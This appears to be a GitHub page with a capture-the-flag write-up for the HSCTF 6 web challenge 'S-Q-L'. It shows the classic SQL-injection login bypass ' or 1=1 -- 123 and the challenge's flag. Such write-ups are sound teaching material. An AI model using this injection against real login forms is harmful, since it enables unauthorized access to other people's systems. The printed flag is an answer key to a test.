Skip to content

Latest commit

 

History

History

S-Q-L

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

S-Q-L

Event Title Category Cost
HSCTF 6 S-Q-L WEB ~100

Discription

Written by: dwang

Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.

https://s-q-l.web.chal.hsctf.com/

Solution

On the page we see the authorization form.

From the name of the task, we understand that the SQL database is used. We apply the simplest SQL-injection.

login:    ' or 1=1 -- 123
password: any

Flag
hsctf{mysql_real_escape_string}